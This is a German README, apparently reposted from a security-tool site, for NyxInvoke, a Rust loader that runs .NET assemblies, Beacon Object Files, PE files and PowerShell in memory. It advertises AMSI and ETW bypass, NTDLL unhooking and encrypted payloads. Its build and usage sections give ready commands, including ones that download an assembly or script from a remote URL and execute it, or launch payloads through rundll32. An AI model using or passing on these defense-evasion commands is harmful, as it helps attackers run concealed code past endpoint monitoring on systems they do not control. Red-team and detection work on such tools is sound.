NyxInvoke

NyxInvoke ist ein vielseitiges, in Rust geschriebenes Tool zum Ausführen von .NET-Assemblys, PowerShell-Befehlen/-Skripten, Beacon Object Files (BOFs) und PE-Dateien mit integrierter Ntdll-Entkopplung sowie patchless AMSI- und ETW-Umgehungsfunktionen. Es kann entweder als eigenständige ausführbare Datei oder als DLL kompiliert werden.

Funktionen

• .NET-Assemblys ausführen
• PowerShell-Befehle oder -Skripte ausführen
• Beacon Object Files (BOFs) laden und ausführen
• PE-Dateien (EXEs) laden und ausführen
• Integrierte patchless AMSI (Anti-Malware Scan Interface)-Umgehung
• Integrierte patchless ETW (Event Tracing for Windows)-Umgehung
• Integrierte NTDLL-Entkopplung ohne Auslösen des "PspCreateProcessNotifyRoutine"-Rückrufs
• Unterstützung für verschlüsselte Payloads mit AES-Entschlüsselung
• Flexible Eingabeoptionen: lokale Dateien, URLs oder eingebundene Daten
• Dual-Build-Unterstützung: kann als ausführbare Datei oder als DLL kompiliert werden

Erstellen

NyxInvoke kann entweder als ausführbare Datei oder als DLL erstellt werden. Verwenden Sie die folgenden Befehle:

Ausführbare Datei

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke

DLL

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib

Um integrierte CLR-, BOF- oder PE-Daten einzubeziehen, fügen Sie die entsprechenden Features hinzu:

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke

oder

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib

Verwendung

Ausführbarer Modus

Die ausführbare Datei unterstützt drei Hauptbetriebsmodi:

1. CLR-Modus (.NET-Assembly-Ausführung)
2. PowerShell-Modus
3. BOF-Modus (Ausführung von Beacon Object Files)
4. PE-Modus (Ausführung von PE-Dateien)

Allgemeine Syntax

NyxInvoke.exe <modus> [OPTIONEN]

Wobei <modus> einer der folgenden ist: clr, ps, bof oder pe.

DLL-Modus

Wenn als DLL kompiliert, kann NyxInvoke mit rundll32 ausgeführt werden. Die Syntax lautet:

rundll32.exe NyxInvoke.dll,NyxInvoke <modus> [OPTIONEN]

Modusspezifische Optionen

1. CLR-Modus:

Führen Sie Common Language Runtime (CLR)-Assemblys aus

Verwendung: NyxInvoke.exe clr [OPTIONEN]

Optionen:
  -a, --args <ARGS>...            An die Assembly zu übergebende Argumente
  -b, --base <URL_OR_PATH>        Basis-URL oder -Pfad für Ressourcen
  -k, --key <KEY_FILE>            Pfad zur Verschlüsselungsschlüsseldatei
  -i, --iv <IV_FILE>              Pfad zur Initialisierungsvektor-Datei (IV)
  -f, --assembly <ASSEMBLY_FILE>  Pfad oder URL zur verschlüsselten Assembly-Datei, die ausgeführt werden soll
  -u, --unencrypted               Gibt an, ob die Assembly unverschlüsselt ist (Standard ist verschlüsselt)
  -h, --help                      Hilfe anzeigen (weitere Informationen mit '--help')

Beispiel: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

2. BOF-Modus:

Führen Sie Beacon Object Files (BOF) aus

Verwendung: NyxInvoke.exe bof [OPTIONEN]

Optionen:
  -a, --args <ARGS>...      An das BOF zu übergebende Argumente
  -b, --base <URL_OR_PATH>  Basis-URL oder -Pfad für Ressourcen
  -k, --key <KEY_FILE>      Pfad zur Verschlüsselungsschlüsseldatei
  -i, --iv <IV_FILE>        Pfad zur Initialisierungsvektor-Datei (IV)
  -f, --bof <BOF_FILE>      Pfad oder URL zur verschlüsselten BOF-Datei, die ausgeführt werden soll
  -u, --unencrypted         Gibt an, ob das BOF unverschlüsselt ist (Standard ist verschlüsselt)
  -h, --help                Hilfe anzeigen (weitere Informationen mit '--help')

Beispiel: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

3. PE-Modus:

Führen Sie Portable Executable (PE)-Dateien aus

Verwendung: NyxInvoke.exe pe [OPTIONEN]

Optionen:
  -a, --args <ARGS>...      An die PE zu übergebende Argumente
  -b, --base <URL_OR_PATH>  Basis-URL oder -Pfad für Ressourcen
  -k, --key <KEY_FILE>      Pfad zur Verschlüsselungsschlüsseldatei
  -i, --iv <IV_FILE>        Pfad zur Initialisierungsvektor-Datei (IV)
  -f, --pe <PE_FILE>        Pfad oder URL zur verschlüsselten PE-Datei, die ausgeführt werden soll
  -u, --unencrypted         Gibt an, ob die PE unverschlüsselt ist (Standard ist verschlüsselt)
  -h, --help                Hilfe anzeigen (weitere Informationen mit '--help')

Beispiel: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

4. PowerShell-Modus:

Führen Sie PowerShell-Befehle oder -Skripte aus

Verwendung: NyxInvoke.exe ps [OPTIONEN]

Optionen:
  -c, --command <PS_COMMAND>  PowerShell-Befehl, der ausgeführt werden soll
  -s, --script <PS_SCRIPT>    Pfad oder URL zum PowerShell-Skript, das ausgeführt werden soll
  -h, --help                  Hilfe anzeigen (weitere Informationen mit '--help')

Beispiele:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1

Beispiele

Ausführbarer Modus

1. CLR-Modus (Remote-Ausführung):

   root@kitploit:~

   NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. PowerShell-Modus (Skriptausführung):

   root@kitploit:~

   NyxInvoke.exe ps --script C:\path\to\script.ps1
   

3. BOF-Modus (Lokale Ausführung):

   root@kitploit:~

   NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
   

4. PE-Modus (Kompilierte Ausführung):

   root@kitploit:~

   NyxInvoke.exe pe --args arg1
   

DLL-Modus

1. CLR-Modus (Remote-Ausführung):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. PowerShell-Modus (Direkte Befehlsausführung):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
   

3. BOF-Modus (Kompilierte Ausführung):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
   

4. PE-Modus (Lokale Ausführung unverschlüsselt):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
   

Testressourcen

Im Verzeichnis resources finden Sie mehrere Dateien, um die Funktionalität von NyxInvoke zu testen:

1. Verschlüsselte CLR-Assembly (Seatbelt):

   • Datei: clr_data.enc
   • Beschreibung: Eine verschlüsselte Version des Seatbelt-Tools, eines C#-Projekts zur Erfassung von Systeminformationen.
   • Verwendungsbeispiel:
     root@kitploit:~

     NyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
     

2. Verschlüsseltes BOF (Directory Listing):

   • Datei: bof_data.enc
   • Beschreibung: Ein verschlüsseltes Beacon Object File, das Benutzerberechtigungen für die angegebene Datei auflistet, Platzhalter werden unterstützt.
   • Verwendungsbeispiel:
     root@kitploit:~

     NyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
     

3. Verschlüsselte PE (Message Box):

   • Datei: pe_data.enc
   • Beschreibung: Eine verschlüsselte PE-Datei, die eine MessageBox anzeigt.
   • Verwendungsbeispiel:
     root@kitploit:~

     NyxInvoke.exe pe
     

4. PowerShell (Message Box):

   • Datei: ps.ps1
   • Beschreibung: Ein PowerShell-Skript, das eine MessageBox anzeigt.
   • Verwendungsbeispiel:
     root@kitploit:~

     NyxInvoke.exe ps -s http://example.com/ps.ps1
     

Screenshot

• DLL-kompilierte CLR-Ausführung

• EXE Remote-BOF-Ausführung

• DLL-kompilierte EXE-Ausführung

• DLL-PowerShell-Skriptausführung

Rechtlicher Hinweis

Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Tests. Stellen Sie sicher, dass Sie vor der Verwendung in einer Umgebung über die entsprechenden Berechtigungen verfügen.

Danksagungen

• @yamakadi für das clroxide-Projekt
• @hakaioffsec für das coffee-Projekt